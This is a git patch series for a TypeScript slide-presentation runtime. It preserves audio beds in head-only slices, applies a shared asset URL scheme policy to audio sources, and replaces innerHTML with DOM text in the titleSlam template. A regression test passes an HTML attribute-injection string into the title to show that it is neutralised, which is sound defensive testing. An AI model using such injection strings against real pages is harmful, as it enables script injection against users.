From c3f122055d0090a7c430369aec966ced5f52ff8f Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 23 May 2026 09:05:43 +0200 Subject: [PATCH 01/29] Preserve audio beds in head slices --- changelog.d/147.fixed.md | 1 + src/runtime/scene-loader.ts | 3 +++ src/runtime/scene-navigation.ts | 3 +++ tests/runtime/scene-loader-audio.test.ts | 30 ++++++++++++++++++++++++ 4 files changed, 37 insertions(+) create mode 100644 changelog.d/147.fixed.md diff --git a/changelog.d/147.fixed.md b/changelog.d/147.fixed.md new file mode 100644 index 0000000..711e43c --- /dev/null +++ b/changelog.d/147.fixed.md @@ -0,0 +1 @@ +Preserve composition audio beds in loop and scrub head-only composition modes. diff --git a/src/runtime/scene-loader.ts b/src/runtime/scene-loader.ts index 2f278a9..292f838 100644 --- a/src/runtime/scene-loader.ts +++ b/src/runtime/scene-loader.ts @@ -1584,6 +1584,9 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { id: resolved.composition.id, manifestSlice: Object.freeze([headEntry]), sceneSlice: Object.freeze([headScene]), + ...(resolved.composition.audioBed === undefined + ? {} + : { audioBed: resolved.composition.audioBed }), // PUL-F029 / ADR-028: preserve the absolute composition start // index even when the slice is truncated to its head, so a // failure diagnostic names the right manifest entry. diff --git a/src/runtime/scene-navigation.ts b/src/runtime/scene-navigation.ts index b108668..37ab12f 100644 --- a/src/runtime/scene-navigation.ts +++ b/src/runtime/scene-navigation.ts @@ -504,6 +504,9 @@ function truncateToHead(target: SceneNavigationTarget, headOnly: boolean): Scene id: target.composition.id, manifestSlice: Object.freeze([headEntry]), sceneSlice: Object.freeze([headScene]), + ...(target.composition.audioBed === undefined + ? {} + : { audioBed: target.composition.audioBed }), // PUL-F029 / ADR-028: preserve the absolute composition start // index so a failure diagnostic still points operators at the // right manifest entry even after the slice was truncated to diff --git a/tests/runtime/scene-loader-audio.test.ts b/tests/runtime/scene-loader-audio.test.ts index 7ba78a9..7fef2b9 100644 --- a/tests/runtime/scene-loader-audio.test.ts +++ b/tests/runtime/scene-loader-audio.test.ts @@ -357,6 +357,7 @@ describe('scene loader — audio service wiring (PUL-F024 / ADR-004)', () => { const head = buildScene({ id: 'head', assets: ['/audio/head.mp3'], + audio: ['/audio/head.mp3'], create: (ctx) => { // Would register a sound — but prompter never mounts the scene. (ctx as { audio: AudioService }).audio.load('head-bed', { src: '/audio/head.mp3' }); @@ -1233,6 +1234,35 @@ describe('scene loader — composition audio bed (PUL-F014 / ADR-004)', () => { expect(audio.calls.some((c) => c.method === 'loop')).toBe(true); }); + it.each(['loop', 'scrub'] as const)( + 'preserves and starts the composition audio bed under mode=%s head slices', + async (mode) => { + const audio = recordingAudioEngine(); + const { adapter } = buildRecordingUnlockAdapter('resolve'); + const loader = createSceneLoader({ + scenes: createSceneRegistry([buildScene({ id: 'head' })]), + compositions: bedComposition(), + stage: null, + buildCtx: stubCtx, + createPreloader: () => () => Promise.resolve(), + timeline: noopTimeline, + audioEngine: audio.engine, + audioUnlockAdapter: adapter, + }); + + await loader.handle({ + locator: { kind: 'composition', composition: 'deck' }, + mode, + }); + await loader.idle(); + + expect(audio.created).toHaveLength(1); + expect(audio.created[0]?.src).toEqual([BED_SRC]); + expect(audio.calls).toContainEqual({ sound: 0, method: 'play' }); + expect(audio.calls).toContainEqual({ sound: 0, method: 'loop' }); + }, + ); + it('suppresses the composition audio bed under mode=standalone', async () => { const audio = recordingAudioEngine(); const loader = createSceneLoader({ From 73a56764254c6d72507a694da6ffb55bf0502f0b Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 23 May 2026 17:51:31 +0200 Subject: [PATCH 02/29] Apply asset policy to audio beds --- changelog.d/148.fixed.md | 1 + src/runtime/asset-preloader.ts | 48 ++++++++------- src/runtime/audio.ts | 42 ++++++++----- src/runtime/scene-loader.ts | 10 ++++ src/runtime/validation.ts | 75 +++++++++++++++++------- tests/runtime/audio.test.ts | 38 ++++++++++++ tests/runtime/scene-loader-audio.test.ts | 32 ++++++++++ tests/runtime/validation.test.ts | 55 +++++++++++++++++ 8 files changed, 245 insertions(+), 56 deletions(-) create mode 100644 changelog.d/148.fixed.md diff --git a/changelog.d/148.fixed.md b/changelog.d/148.fixed.md new file mode 100644 index 0000000..bf8fd92 --- /dev/null +++ b/changelog.d/148.fixed.md @@ -0,0 +1 @@ +Apply configured asset URL policy to composition audio-bed validation and playback. diff --git a/src/runtime/asset-preloader.ts b/src/runtime/asset-preloader.ts index feca2d0..bc8457e 100644 --- a/src/runtime/asset-preloader.ts +++ b/src/runtime/asset-preloader.ts @@ -74,27 +74,11 @@ export const DEFAULT_ALLOWED_SCHEMES: readonly string[] = Object.freeze([ ]); /** - * Options for {@link createAssetPreloader}. All fields are optional; - * the defaults pull from `globalThis.fetch`, no extra request init, - * no base URL, and the {@link DEFAULT_ALLOWED_SCHEMES} allowlist. + * URL policy shared by validation, preloading, and runtime audio + * source checks. All fields are optional; omitted values mean no + * base URL and the {@link DEFAULT_ALLOWED_SCHEMES} allowlist. */ -export interface AssetPreloaderOptions { - /** - * Override the fetch implementation. Production callers default to - * `globalThis.fetch`; tests inject a fake to record calls and shape - * responses. Injection (rather than module-level global mutation) - * keeps tests isolated and matches the orchestrator-with-adapters - * pattern PUL-F004 uses. - */ - readonly fetch?: typeof globalThis.fetch; - /** - * `RequestInit` forwarded to every fetch call (e.g. headers, signal, - * cache mode). Forwarded by reference so callers can attach a single - * `AbortSignal` to all per-scene fetches. NB: credentials in - * `init.headers` flow to every asset URL — see ADR-012's - * cross-origin caveat before attaching `Authorization` or `Cookie`. - */ - readonly init?: RequestInit; +export interface AssetUrlPolicy { /** * Base URL used to resolve relative asset paths. Required when the * runtime is preloading on Node — Node's `fetch` rejects relative @@ -130,6 +114,30 @@ export interface AssetPreloaderOptions { readonly allowedSchemes?: readonly string[]; } +/** + * Options for {@link createAssetPreloader}. All fields are optional; + * the defaults pull from `globalThis.fetch`, no extra request init, + * no base URL, and the {@link DEFAULT_ALLOWED_SCHEMES} allowlist. + */ +export interface AssetPreloaderOptions extends AssetUrlPolicy { + /** + * Override the fetch implementation. Production callers default to + * `globalThis.fetch`; tests inject a fake to record calls and shape + * responses. Injection (rather than module-level global mutation) + * keeps tests isolated and matches the orchestrator-with-adapters + * pattern PUL-F004 uses. + */ + readonly fetch?: typeof globalThis.fetch; + /** + * `RequestInit` forwarded to every fetch call (e.g. headers, signal, + * cache mode). Forwarded by reference so callers can attach a single + * `AbortSignal` to all per-scene fetches. NB: credentials in + * `init.headers` flow to every asset URL — see ADR-012's + * cross-origin caveat before attaching `Authorization` or `Cookie`. + */ + readonly init?: RequestInit; +} + /** * Build a per-scene asset preloader. * diff --git a/src/runtime/audio.ts b/src/runtime/audio.ts index fcd4c46..2493187 100644 --- a/src/runtime/audio.ts +++ b/src/runtime/audio.ts @@ -57,7 +57,7 @@ // module reuses; declared audio sources are warmed before mount. import { Howl, Howler, type SoundSpriteDefinitions } from 'howler'; -import { DEFAULT_ALLOWED_SCHEMES, resolveAssetUrl } from './asset-preloader'; +import { type AssetUrlPolicy, DEFAULT_ALLOWED_SCHEMES, resolveAssetUrl } from './asset-preloader'; import { describeError } from './error'; import { KEBAB_IDENTIFIER_FORM, isKebabIdentifier } from './identifier'; import { deepFreeze, isPlainRecord } from './object'; @@ -651,6 +651,13 @@ export interface AudioServiceOptions { * test callers); scheme validation still applies. */ readonly allowedSources?: Iterable; + /** + * Asset URL policy shared with validation and the preloader. When + * supplied, every scene sound source and composition bed source is + * resolved with the same `baseUrl` / `allowedSchemes` rules before + * reaching the engine. Omit to keep the default authoring policy. + */ + readonly assetPolicy?: AssetUrlPolicy; /** Sink for non-fatal async audio errors (load / play failure). Defaults to a no-op. */ readonly onError?: (err: unknown) => void; /** @@ -957,14 +964,12 @@ const assertSpriteMap = (soundId: string, sprite: unknown): void => { * * 1. The URL is a non-empty string — scene modules can be plain JS, * so the static type does not hold. - * 2. The URL resolves under {@link DEFAULT_ALLOWED_SCHEMES}. - * Defense-in-depth: even when an allowlist is supplied, the audio - * service runs the same default scheme allowlist the preloader - * uses by default — so a no-op or weak preloader cannot let - * `file:` / `//host` URLs through. Threading the preloader's exact - * `baseUrl` / `allowedSchemes` policy into the audio service is a - * documented follow-up; for now the service is at least as - * restrictive as `DEFAULT_ALLOWED_SCHEMES`. + * 2. The URL resolves under the supplied asset policy, or under + * {@link DEFAULT_ALLOWED_SCHEMES} when no policy was supplied. + * This is the same `baseUrl` / `allowedSchemes` rule the + * validation pass and asset preloader use, so hardened + * deployments do not get a looser audio-bed URL path when + * validation is skipped. * 3. When `allowedForSource` is non-null, the URL is a member of it. * PUL-F030 / ADR-029: `scene.audio` is the audio-source allowlist * for scene sounds; for the composition bed it is the bed's own @@ -978,16 +983,22 @@ const assertSpriteMap = (soundId: string, sprite: unknown): void => { * `normalizeSources` stays within Sonar's / Biome's cognitive- * complexity budget (the per-URL branching is the bulk of it). */ -function assertValidAudioUrl( +function normalizeAudioUrl( soundId: string, url: unknown, allowedForSource: ReadonlySet | null, -): asserts url is string { + assetPolicy: AssetUrlPolicy | undefined, +): string { if (typeof url !== 'string' || url === '') { throw new AudioSourceError(`audio sound "${soundId}" source must be a non-empty URL string`); } + let resolved: string; try { - resolveAssetUrl(url, undefined, DEFAULT_ALLOWED_SCHEMES); + resolved = resolveAssetUrl( + url, + assetPolicy?.baseUrl, + assetPolicy?.allowedSchemes ?? DEFAULT_ALLOWED_SCHEMES, + ); } catch (cause) { throw new AudioSourceError( `audio sound "${soundId}" source "${url}" is invalid: ${describeError(cause)}`, @@ -999,6 +1010,7 @@ function assertValidAudioUrl( `audio sound "${soundId}" source "${url}" is not a declared audio source — list it in scene.audio (and ensure it is also in scene.assets so the preloader warms it) per PUL-F030 / ADR-029`, ); } + return resolved; } /** Build the per-navigation {@link AudioService} over `engine`. */ @@ -1119,6 +1131,7 @@ export function createAudioService( const muted = outputPolicy !== 'audible'; const onError = options.onError ?? ((): void => undefined); const onCue = options.onCue; + const assetPolicy = options.assetPolicy; const allowed = options.allowedSources === undefined ? null : new Set(options.allowedSources); // PUL-F017 / ADR-020: the dynamic cue-eligibility gate. Absent for // every navigation except `mode=scrub`; an absent gate means cues @@ -1249,10 +1262,7 @@ export function createAudioService( `audio sound "${soundId}" has no source — provide at least one URL`, ); } - for (const url of list) { - assertValidAudioUrl(soundId, url, allowedForSource); - } - return list; + return list.map((url) => normalizeAudioUrl(soundId, url, allowedForSource, assetPolicy)); }; const unknownSpriteMessage = ( diff --git a/src/runtime/scene-loader.ts b/src/runtime/scene-loader.ts index 292f838..bc1b14e 100644 --- a/src/runtime/scene-loader.ts +++ b/src/runtime/scene-loader.ts @@ -29,6 +29,7 @@ // - ADR-007 — runtime parses URL parameters at startup AND popstate. // - ADR-013 — URL navigation grammar boundary; F007 owns parsing. +import type { AssetUrlPolicy } from './asset-preloader'; import { type AudioCueLogEntry, type AudioEngine, @@ -290,6 +291,14 @@ export interface SceneLoaderOptions { * follow. */ readonly audioEngine?: AudioEngine; + /** + * Asset URL policy shared with validation, preloading, and runtime + * audio checks. Workbench bootstraps that harden + * `createAssetPreloader({ baseUrl, allowedSchemes })` should pass + * the same policy here so composition audio beds cannot bypass it + * when validation was skipped. + */ + readonly assetPolicy?: AssetUrlPolicy; /** * Workbench-supplied cue-log sink (PUL-F026 / ADR-004). When set, * the loader threads it through to every per-navigation @@ -1304,6 +1313,7 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { signal: controller.signal, outputPolicy, allowedSources: collectAudioSources(resolved), + ...(options.assetPolicy === undefined ? {} : { assetPolicy: options.assetPolicy }), onError, ...(options.onAudioCue === undefined ? {} : { onCue: options.onAudioCue }), // PUL-F014 / ADR-004: the composition audio bed, played diff --git a/src/runtime/validation.ts b/src/runtime/validation.ts index 909baf3..6676ac4 100644 --- a/src/runtime/validation.ts +++ b/src/runtime/validation.ts @@ -52,8 +52,8 @@ // `readonly Finding[]`; callers format for the workbench error sink, // a CI summary, or a JSON report. -import { DEFAULT_ALLOWED_SCHEMES, resolveAssetUrl } from './asset-preloader'; -import { assertAudioBedDeclaration } from './audio'; +import { type AssetUrlPolicy, DEFAULT_ALLOWED_SCHEMES, resolveAssetUrl } from './asset-preloader'; +import { type AudioBedDeclaration, assertAudioBedDeclaration } from './audio'; import { CompositionManifestError, assertCompositionManifest, @@ -142,7 +142,11 @@ export type FindingCode = // shape check reuses `assertAudioBedDeclaration` (the same gate the // composition registry and audio service use), so a bad bed fails // the validation pass at boot rather than at navigation time. - | 'composition-audio-bed-invalid'; + | 'composition-audio-bed-invalid' + // PUL-F014 / ADR-012 — a composition audio bed source does not + // satisfy the same asset URL policy (`baseUrl`, `allowedSchemes`) + // used for scene assets and preloading. + | 'composition-audio-bed-unresolvable'; /** * One composition registration as the validator sees it. Matches the @@ -178,17 +182,14 @@ export interface ValidationCompositionInput { * going to reject anyway. * - `compositions` — optional list of composition registrations. When * omitted, clauses (a) / manifest-shape are no-ops. - * - `assets` — optional asset-policy block mirroring the preloader's - * `baseUrl` / `allowedSchemes` options. Defaults match the + * - `assets` — optional asset-policy block shared with the + * preloader and runtime audio source checks. Defaults match the * preloader: no `baseUrl`, {@link DEFAULT_ALLOWED_SCHEMES}. */ export interface ValidationInput { readonly scenes: Iterable; readonly compositions?: Iterable; - readonly assets?: { - readonly baseUrl?: string; - readonly allowedSchemes?: readonly string[]; - }; + readonly assets?: AssetUrlPolicy; } /** @@ -227,7 +228,7 @@ export function validateRuntime(input: ValidationInput): readonly Finding[] { const findings: Finding[] = []; const inspected = runSceneShapePhase(input.scenes, findings); const validIds = runDuplicateIdPhase(inspected, findings); - runCompositionPhase(input.compositions, validIds, findings); + runCompositionPhase(input.compositions, validIds, input.assets, findings); runAssetPhase(inspected, input.assets, findings); return Object.freeze(findings); } @@ -350,6 +351,7 @@ function* idEntries(inspected: readonly Inspected[]): Iterable<{ id: string; val function runCompositionPhase( compositions: Iterable | undefined, validIds: ReadonlySet, + policy: AssetUrlPolicy | undefined, findings: Finding[], ): void { if (compositions === undefined) return; @@ -357,8 +359,7 @@ function runCompositionPhase( // The audio-bed shape check (PUL-F014) is independent of the // manifest shape — a bad bed must not suppress the reference // check, and a bad manifest must not suppress the bed check. - const bedFinding = checkCompositionAudioBed(composition); - if (bedFinding !== null) findings.push(bedFinding); + appendCompositionAudioBedFindings(composition, policy, findings); const manifestFinding = checkCompositionShape(composition); if (manifestFinding !== null) { findings.push(manifestFinding); @@ -371,20 +372,54 @@ function runCompositionPhase( /** * PUL-F014 — when a composition declares an `audioBed`, validate its * shape through `assertAudioBedDeclaration` (the same gate the - * composition registry and audio service use). Returns a - * `composition-audio-bed-invalid` finding on a malformed bed, or - * `null` when there is no bed or the bed is well-formed. + * composition registry and audio service use), then validate every + * bed source through the same asset URL policy scene assets use. */ -function checkCompositionAudioBed(composition: ValidationCompositionInput): Finding | null { - if (composition.audioBed === undefined) return null; +function appendCompositionAudioBedFindings( + composition: ValidationCompositionInput, + policy: AssetUrlPolicy | undefined, + findings: Finding[], +): void { + if (composition.audioBed === undefined) return; + const bed = composition.audioBed; try { - assertAudioBedDeclaration(composition.audioBed); - return null; + assertAudioBedDeclaration(bed); } catch (cause) { - return { + findings.push({ code: 'composition-audio-bed-invalid', message: `composition "${composition.id}": ${describeError(cause)}`, compositionId: composition.id, + }); + return; + } + const baseUrl = policy?.baseUrl; + const allowedSchemes = policy?.allowedSchemes ?? DEFAULT_ALLOWED_SCHEMES; + for (const source of audioBedSources(bed)) { + const finding = checkCompositionAudioBedSource(composition.id, source, baseUrl, allowedSchemes); + if (finding !== null) findings.push(finding); + } +} + +const audioBedSources = (bed: AudioBedDeclaration): readonly string[] => + typeof bed.src === 'string' ? [bed.src] : bed.src; + +function checkCompositionAudioBedSource( + compositionId: string, + source: string, + baseUrl: string | undefined, + allowedSchemes: readonly string[], +): Finding | null { + try { + resolveAssetUrl(source, baseUrl, allowedSchemes); + return null; + } catch (cause) { + return { + code: 'composition-audio-bed-unresolvable', + message: `composition "${compositionId}": audio bed source "${source}" is invalid: ${describeError( + cause, + )}`, + compositionId, + asset: source, }; } } diff --git a/tests/runtime/audio.test.ts b/tests/runtime/audio.test.ts index d91e5fe..9048466 100644 --- a/tests/runtime/audio.test.ts +++ b/tests/runtime/audio.test.ts @@ -691,6 +691,7 @@ describe('createAudioService — lifecycle / cleanup (ADR-004)', () => { service.stopGroup('scene-a'); service.mute(true); expect(fake.calls).toEqual([]); + expect(fake.masterMuted()).toBe(false); expect(fake.created).toHaveLength(1); expect(service.isDisposed()).toBe(true); }); @@ -1367,6 +1368,43 @@ describe('createAudioService — composition audio bed (PUL-F014)', () => { ).toThrow(AudioSourceError); }); + it('applies the supplied asset URL policy to a string bed source', () => { + const fake = fakeEngine(); + expect(() => + createAudioService(fake.engine, { + signal: liveSignal(), + bed: { src: 'http://cdn.example.test/bed.webm' }, + assetPolicy: { allowedSchemes: ['https:'] }, + }), + ).toThrow(AudioSourceError); + expect(fake.created).toHaveLength(0); + }); + + it('applies the supplied asset URL policy to every array bed source', () => { + const fake = fakeEngine(); + expect(() => + createAudioService(fake.engine, { + signal: liveSignal(), + bed: { + src: ['https://cdn.example.test/bed.webm', 'data:audio/webm;base64,AAAA'], + }, + assetPolicy: { allowedSchemes: ['https:'] }, + }), + ).toThrow(AudioSourceError); + expect(fake.created).toHaveLength(0); + }); + + it('resolves a relative bed source against the supplied asset baseUrl before constructing it', () => { + const { fake } = buildService({ + bed: bed(), + assetPolicy: { + baseUrl: 'https://cdn.example.test/decks/', + allowedSchemes: ['https:'], + }, + }); + expect(fake.created[0]?.src).toEqual(['https://cdn.example.test/audio/bed.webm']); + }); + it('rejects an out-of-range bed volume', () => { const fake = fakeEngine(); expect(() => diff --git a/tests/runtime/scene-loader-audio.test.ts b/tests/runtime/scene-loader-audio.test.ts index 7fef2b9..c2288b6 100644 --- a/tests/runtime/scene-loader-audio.test.ts +++ b/tests/runtime/scene-loader-audio.test.ts @@ -1263,6 +1263,38 @@ describe('scene loader — composition audio bed (PUL-F014 / ADR-004)', () => { }, ); + it('applies the loader asset policy to the composition bed before playback', async () => { + const audio = recordingAudioEngine(); + const stage = buildStage(); + const errors: unknown[] = []; + const loader = createSceneLoader({ + scenes: createSceneRegistry([buildScene({ id: 'head' })]), + compositions: createCompositionRegistry([ + { + id: 'deck', + manifest: ['head'], + audioBed: { src: 'http://cdn.example.test/bed.webm' }, + }, + ]), + stage: stage.element, + buildCtx: stubCtx, + createPreloader: () => () => Promise.resolve(), + timeline: noopTimeline, + audioEngine: audio.engine, + assetPolicy: { allowedSchemes: ['https:'] }, + onError: (err) => { + errors.push(err); + }, + }); + + await loader.handle(compositionTarget('deck')); + await loader.idle(); + + expect(audio.created).toHaveLength(0); + expect(stage.attrs.get('data-pulsar-navigation-error')).toMatch(/audio bed/); + expect((errors[0] as Error | undefined)?.message).toMatch(/http:/); + }); + it('suppresses the composition audio bed under mode=standalone', async () => { const audio = recordingAudioEngine(); const loader = createSceneLoader({ diff --git a/tests/runtime/validation.test.ts b/tests/runtime/validation.test.ts index a90ff60..824307b 100644 --- a/tests/runtime/validation.test.ts +++ b/tests/runtime/validation.test.ts @@ -851,5 +851,60 @@ describe('validateRuntime (PUL-Q005 — actionability)', () => { }); expect(findings).toEqual([]); }); + + it.each([ + ['http:', 'http://cdn.example.test/bed.webm'], + ['data:', 'data:audio/webm;base64,AAAA'], + ['blob:', 'blob:https://app.example.test/bed'], + ['file:', 'file:///tmp/bed.webm'], + ['ftp:', 'ftp://cdn.example.test/bed.webm'], + ] as const)( + 'reports composition-audio-bed-unresolvable for a string src with disallowed %s policy', + (_scheme, src) => { + const findings = validateRuntime({ + scenes: [buildScene({ id: 'real' })], + compositions: [{ id: 'deck', manifest: ['real'], audioBed: { src } }], + assets: { baseUrl: 'https://app.example.test/', allowedSchemes: ['https:'] }, + }); + expect(findingCodes(findings)).toEqual(['composition-audio-bed-unresolvable']); + expect(findings[0]).toMatchObject({ + compositionId: 'deck', + asset: src, + }); + expect(findings[0]?.message).toMatch(/^composition "deck": audio bed source/); + }, + ); + + it('reports only the disallowed member of an audioBed.src array', () => { + const findings = validateRuntime({ + scenes: [buildScene({ id: 'real' })], + compositions: [ + { + id: 'deck', + manifest: ['real'], + audioBed: { + src: ['https://cdn.example.test/bed.webm', 'http://cdn.example.test/bed.webm'], + }, + }, + ], + assets: { baseUrl: 'https://app.example.test/', allowedSchemes: ['https:'] }, + }); + expect(findingCodes(findings)).toEqual(['composition-audio-bed-unresolvable']); + expect(findings[0]?.asset).toBe('http://cdn.example.test/bed.webm'); + }); + + it('keeps the permissive default bed source policy when no production policy is supplied', () => { + const findings = validateRuntime({ + scenes: [buildScene({ id: 'real' })], + compositions: [ + { + id: 'deck', + manifest: ['real'], + audioBed: { src: ['http://cdn.example.test/bed.webm', 'data:audio/webm;base64,AAAA'] }, + }, + ], + }); + expect(findings).toEqual([]); + }); }); }); From a2ca472ee19ffa7d9073545041d04f519355c17e Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 24 May 2026 04:57:52 +0200 Subject: [PATCH 03/29] Harden titleSlam data text rendering --- changelog.d/149.security.md | 1 + src/system/templates/_shared.ts | 1 + src/system/templates/title-slam.ts | 17 +- tests/system/templates-options.test.ts | 628 ++++++++++++++++--------- 4 files changed, 416 insertions(+), 231 deletions(-) create mode 100644 changelog.d/149.security.md diff --git a/changelog.d/149.security.md b/changelog.d/149.security.md new file mode 100644 index 0000000..bc61d72 --- /dev/null +++ b/changelog.d/149.security.md @@ -0,0 +1 @@ +Hardened the `titleSlam` template so title words are rendered through DOM text and `data-text` assignments instead of raw span HTML. diff --git a/src/system/templates/_shared.ts b/src/system/templates/_shared.ts index ea2ee98..8e69a46 100644 --- a/src/system/templates/_shared.ts +++ b/src/system/templates/_shared.ts @@ -19,6 +19,7 @@ import { addAdvanceGate } from '../helpers/timing'; // ---------- ctx narrowing (shared with the scene authoring contract) ---- export interface TemplateDomElement { + className?: string; setAttribute(name: string, value: string): void; appendChild?(node: unknown): unknown; textContent?: string; diff --git a/src/system/templates/title-slam.ts b/src/system/templates/title-slam.ts index d41dc22..677af49 100644 --- a/src/system/templates/title-slam.ts +++ b/src/system/templates/title-slam.ts @@ -6,7 +6,6 @@ // Optional subtitle. import type { SceneModule } from '../../runtime/scene'; -import { markedTextHtml } from '../helpers'; import { buildTemplateScene, buildTemplateTimeline, mountTemplateRoot } from './_shared'; export interface TitleSlamContent { @@ -28,14 +27,14 @@ export const titleSlam = (id: string, content: TitleSlamContent): SceneModule => templateKind: 'title-slam', buildChildren: (root, ownerDoc) => { const h1 = ownerDoc.createElement('h1'); - h1.setAttribute('class', 'pulsar-title__h'); - const html = words - .map((w) => { - const cls = content.glitch === true ? 'word pulsar-glitch' : 'word'; - return `${markedTextHtml(w)}`; - }) - .join(''); - h1.innerHTML = html; + h1.className = 'pulsar-title__h'; + for (const w of words) { + const span = ownerDoc.createElement('span'); + span.className = content.glitch === true ? 'word pulsar-glitch' : 'word'; + span.textContent = w; + span.dataset.text = w; + h1.appendChild?.(span); + } root.appendChild?.(h1); if (content.subtitle !== undefined) { const sub = ownerDoc.createElement('p'); diff --git a/tests/system/templates-options.test.ts b/tests/system/templates-options.test.ts index b0cd326..6a07cc1 100644 --- a/tests/system/templates-options.test.ts +++ b/tests/system/templates-options.test.ts @@ -8,7 +8,7 @@ import { gsap } from 'gsap'; import { describe, expect, it } from 'vitest'; -import { assertSceneModule } from '../../src/runtime/scene'; +import { type SceneModule, assertSceneModule } from '../../src/runtime/scene'; import { actHeader, activityFeedPayoff, @@ -207,6 +207,53 @@ const assertLifecycle = (scene: ReturnType, fakeCtx: unknown): expect(tl).not.toBeNull(); }; +const hasClass = (node: FakeNode, className: string): boolean => + node.className.split(/\s+/).includes(className); + +const findAll = (root: FakeNode, predicate: (node: FakeNode) => boolean): FakeNode[] => { + const out: FakeNode[] = []; + const search = (node: FakeNode): void => { + if (predicate(node)) out.push(node); + for (const child of node.childNodes) search(child); + }; + search(root); + return out; +}; + +const findByClass = (root: FakeNode, className: string): FakeNode | null => + findAll(root, (node) => hasClass(node, className))[0] ?? null; + +const findAllByClass = (root: FakeNode, className: string): FakeNode[] => + findAll(root, (node) => hasClass(node, className)); + +const findByAttr = (root: FakeNode, attr: string, value?: string): FakeNode | null => + findAll(root, (node) => { + const actual = node.getAttribute(attr); + return actual !== null && (value === undefined || actual === value); + })[0] ?? null; + +const requireNode = (node: FakeNode | null | undefined, message: string): FakeNode => { + expect(node).toBeDefined(); + expect(node).not.toBeNull(); + if (node === null || node === undefined) throw new Error(message); + return node; +}; + +const renderRoot = (scene: SceneModule, rootValue: string): FakeNode => { + const stage = makeStage(); + scene.create(ctx(stage)); + return requireNode( + stage.querySelector(`[data-pulsar-template="${rootValue}"]`), + `expected ${rootValue} root`, + ); +}; + +const expectClassText = (root: FakeNode, className: string, text: string): FakeNode => { + const node = requireNode(findByClass(root, className), `expected .${className}`); + expect(node.textContent).toBe(text); + return node; +}; + describe('L2 templates — optional-branch coverage', () => { it('titleSlam with subtitle + glitch + 5-word title (>4 word stagger)', () => { const scene = titleSlam('opt-title', { @@ -215,9 +262,47 @@ describe('L2 templates — optional-branch coverage', () => { glitch: true, }); expect(() => assertSceneModule(scene)).not.toThrow(); + const root = renderRoot(scene, 'opt-title'); + expect(findAllByClass(root, 'word')).toHaveLength(5); + expect(findAllByClass(root, 'pulsar-glitch')).toHaveLength(5); + expectClassText(root, 'pulsar-title__subtitle', 'a subtitle'); assertLifecycle(scene, ctx(makeStage())); }); + it('titleSlam assigns glitch data-text without parsing word content as HTML', () => { + const token = 'bad"onclick='; + const stage = makeStage(); + const scene = titleSlam('opt-title-escape', { + title: token, + glitch: true, + }); + scene.create(ctx(stage)); + + const root = stage.querySelector('[data-pulsar-template="opt-title-escape"]'); + expect(root).not.toBeNull(); + if (root === null) throw new Error('expected titleSlam root'); + + const titleEl = root.childNodes[0]; + expect(titleEl).toBeDefined(); + if (titleEl === undefined) throw new Error('expected title element'); + + expect(titleEl.childNodes).toHaveLength(1); + const word = titleEl.childNodes[0]; + expect(word).toBeDefined(); + if (word === undefined) throw new Error('expected word span'); + + expect(word.className).toBe('word pulsar-glitch'); + expect(word.textContent).toBe(token); + expect(word.getAttribute('data-text')).toBe(token); + expect(word.getAttribute('onclick')).toBeNull(); + expect(word.attrs.has('b')).toBe(false); + const injectedAttrs = [...word.attrs.keys()].filter( + (name) => name !== 'class' && name !== 'data-text', + ); + expect(injectedAttrs).toEqual([]); + expect(word.childNodes).toHaveLength(0); + }); + it('outro with qrSrc + subtitle', () => { const scene = outro('opt-outro', { title: 'thanks', @@ -226,79 +311,103 @@ describe('L2 templates — optional-branch coverage', () => { qrAlt: 'qr', }); expect(scene.assets).toEqual(['/qr.png']); + const root = renderRoot(scene, 'opt-outro'); + expectClassText(root, 'outro__subtitle', 'sub'); + const qr = requireNode(findByClass(root, 'outro__qr'), 'expected outro QR image'); + expect(qr.getAttribute('src')).toBe('/qr.png'); + expect(qr.getAttribute('alt')).toBe('qr'); assertLifecycle(scene, ctx(makeStage())); }); it('statRow / statPairGrid / definitionTable / quoteStack / bulletList with eyebrow', () => { - assertLifecycle( - statRow('opt-stat-row', { eyebrow: 'eb', title: 't', rows: [['a', 'b']] }), - ctx(makeStage()), - ); - assertLifecycle( - statPairGrid('opt-pair', { eyebrow: 'eb', title: 't', pairs: [['1', 'one']] }), - ctx(makeStage()), - ); - assertLifecycle( - definitionTable('opt-defs', { - eyebrow: 'eb', - title: 't', - rows: [ - { cat: 'A', rule: 'r', mod: 'red' }, - { cat: 'B', rule: 'r', mod: 'amber' }, - { cat: 'C', rule: 'r', mod: 'green' }, - { cat: 'D', rule: 'r', mod: 'clear' }, - ], - }), - ctx(makeStage()), - ); - assertLifecycle( - quoteStack('opt-qstack', { - eyebrow: 'eb', - title: 't', - quotes: [{ text: 'a' }, { text: 'b', attribution: 'x' }], - }), - ctx(makeStage()), - ); - assertLifecycle( - bulletList('opt-bullets', { - eyebrow: 'eb', - title: 't', - bullets: ['x', 'y'], - staggerMs: 200, - }), - ctx(makeStage()), - ); + const row = statRow('opt-stat-row', { eyebrow: 'eb', title: 't', rows: [['a', 'b']] }); + expectClassText(renderRoot(row, 'opt-stat-row'), 'eyebrow', 'eb'); + assertLifecycle(row, ctx(makeStage())); + + const pair = statPairGrid('opt-pair', { + eyebrow: 'eb', + title: 't', + pairs: [['1', 'one']], + }); + expectClassText(renderRoot(pair, 'opt-pair'), 'eyebrow', 'eb'); + assertLifecycle(pair, ctx(makeStage())); + + const defs = definitionTable('opt-defs', { + eyebrow: 'eb', + title: 't', + rows: [ + { cat: 'A', rule: 'r', mod: 'red' }, + { cat: 'B', rule: 'r', mod: 'amber' }, + { cat: 'C', rule: 'r', mod: 'green' }, + { cat: 'D', rule: 'r', mod: 'clear' }, + ], + }); + const defsRoot = renderRoot(defs, 'opt-defs'); + expectClassText(defsRoot, 'eyebrow', 'eb'); + expect(findByClass(defsRoot, 'mod-red')).not.toBeNull(); + expect(findByClass(defsRoot, 'mod-amber')).not.toBeNull(); + expect(findByClass(defsRoot, 'mod-green')).not.toBeNull(); + expect(findByClass(defsRoot, 'mod-clear')).not.toBeNull(); + assertLifecycle(defs, ctx(makeStage())); + + const stack = quoteStack('opt-qstack', { + eyebrow: 'eb', + title: 't', + quotes: [{ text: 'a' }, { text: 'b', attribution: 'x' }], + }); + const stackRoot = renderRoot(stack, 'opt-qstack'); + expectClassText(stackRoot, 'eyebrow', 'eb'); + expect(findAll(stackRoot, (node) => node.textContent 